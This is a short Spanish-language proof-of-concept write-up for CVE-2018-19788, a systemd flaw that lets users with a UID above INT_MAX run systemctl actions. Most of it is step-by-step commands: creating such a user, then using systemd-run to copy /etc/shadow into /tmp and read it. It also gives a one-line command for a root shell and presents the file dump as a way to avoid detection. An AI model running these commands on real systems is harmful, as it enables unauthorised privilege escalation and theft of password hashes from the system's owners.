Aprovechando CVE-2018-19788 para volcar archivos protegidos sin shell de root

CVE-2018-19788 es un problema donde cualquier usuario con un UID superior a INT_MAX (es decir, 4000000000) puede ejecutar cualquier comando systemctl en un sistema Linux con systemd, como Ubuntu. (Ya existe un writeup para obtener una shell de root: aquí). La principal diferencia entre este writeup y el writeup de shell de root completo es que esto se ejecutará como el propio usuario en lugar de un usuario root (básicamente solo un PoC, para ser honesto).

Obteniendo /etc/shadow sin ejecutar una shell de root

Para obtener una shell de root es tan simple como ejecutar systemd-run -t /bin/bash, pero si quieres mantenerte fuera del radar, puedes ejecutar comandos simples para obtener archivos privilegiados sin una terminal. Sigue estos pasos para hacerlo:

• Añade un usuario con un UID superior a INT_MAX:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• Cambia a la cuenta de usuario:
  root@kitploit:~

  su someusername
  

• Ejecuta el comando para el archivo que quieras (usaremos /etc/shadow para esto):
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Tu archivo ahora está en /tmp:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

Vídeo del PoC